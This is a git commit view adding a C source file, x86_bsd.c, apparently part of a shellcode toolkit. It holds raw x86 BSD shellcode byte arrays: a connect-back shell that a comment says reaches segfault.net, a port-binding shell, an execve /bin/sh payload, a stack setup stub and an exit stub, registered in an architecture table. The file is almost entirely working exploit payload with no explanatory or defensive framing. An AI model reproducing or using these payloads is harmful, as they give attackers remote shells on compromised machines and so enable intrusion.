diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/x86_bsd.c | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'other/shellkit/x86_bsd.c')
| -rw-r--r-- | other/shellkit/x86_bsd.c | 73 |
1 files changed, 73 insertions, 0 deletions
diff --git a/other/shellkit/x86_bsd.c b/other/shellkit/x86_bsd.c new file mode 100644 index 0000000..1946250 --- /dev/null +++ b/other/shellkit/x86_bsd.c | |||
| @@ -0,0 +1,73 @@ | |||
| 1 | |||
| 2 | #include <stdio.h> | ||
| 3 | #include <stdlib.h> | ||
| 4 | #include <string.h> | ||
| 5 | #include "shellcode.h" | ||
| 6 | #include "x86.h" | ||
| 7 | |||
| 8 | |||
| 9 | /* ATTENTION: this must be first of concated shellcodes and the last | ||
| 10 | one must be terminated with x86_TERMINATOR */ | ||
| 11 | shellcode x86_bsd_spset = { | ||
| 12 | "x86-bsd-spset", | ||
| 13 | 20, | ||
| 14 | "\xb8\x78\x56\x34\x12\x99\xb6\x02\x5b\x53\x44\x4a" | ||
| 15 | "\x74\x06\x39\xc3\x74\xf3\xeb\xf4" | ||
| 16 | }; | ||
| 17 | |||
| 18 | |||
| 19 | /* ATTENTION: connects to segfault.net at the moment */ | ||
| 20 | shellcode x86_bsd_connectsh = { | ||
| 21 | "x86-bsd-connectsh", | ||
| 22 | 66, | ||
| 23 | "\x31\xed\xf7\xe5\x55\x45\x55\x45\x55\xb0\x61\x55" | ||
| 24 | "\xcd\x80\x96\x68\xc3\x58\xb0\xca\x66\x68\x44\x44" | ||
| 25 | "\x66\x55\x89\xe7\x6a\x10\x57\x56\x56\x6a\x62\x58" | ||
| 26 | "\xcd\x80\x60\xb0\x5a\xcd\x80\x4d\x79\xf8\x52\x89" | ||
| 27 | "\xe3\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x60" | ||
| 28 | "\x5e\x5e\xb0\x3b\xcd\x80" | ||
| 29 | }; | ||
| 30 | |||
| 31 | shellcode x86_bsd_portshellsh = { | ||
| 32 | "x86-bsd-portshellsh", | ||
| 33 | 73, | ||
| 34 | "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53" | ||
| 35 | "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5" | ||
| 36 | "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a" | ||
| 37 | "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a" | ||
| 38 | "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73" | ||
| 39 | "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd" | ||
| 40 | "\x80" | ||
| 41 | }; | ||
| 42 | |||
| 43 | shellcode x86_bsd_execvesh = { | ||
| 44 | "x86-bsd-execvesh", | ||
| 45 | 22, | ||
| 46 | "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68" | ||
| 47 | "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80" | ||
| 48 | }; | ||
| 49 | |||
| 50 | shellcode x86_bsd_exit = { | ||
| 51 | "x86-bsd-exit", | ||
| 52 | 5, | ||
| 53 | "\x31\xc0\x40\xcd\x80" | ||
| 54 | }; | ||
| 55 | |||
| 56 | |||
| 57 | shellcode * x86_bsd_shellcodes[] = { | ||
| 58 | &x86_bsd_execvesh, /* TODO: add other shellcodes here */ | ||
| 59 | &x86_bsd_exit, | ||
| 60 | &x86_bsd_portshellsh, | ||
| 61 | &x86_bsd_connectsh, | ||
| 62 | &x86_bsd_spset, | ||
| 63 | NULL, | ||
| 64 | }; | ||
| 65 | |||
| 66 | arch x86_bsd = { | ||
| 67 | "x86-bsd", | ||
| 68 | 1, | ||
| 69 | x86_nop, | ||
| 70 | x86_bsd_shellcodes, | ||
| 71 | }; | ||
| 72 | |||
| 73 | |||
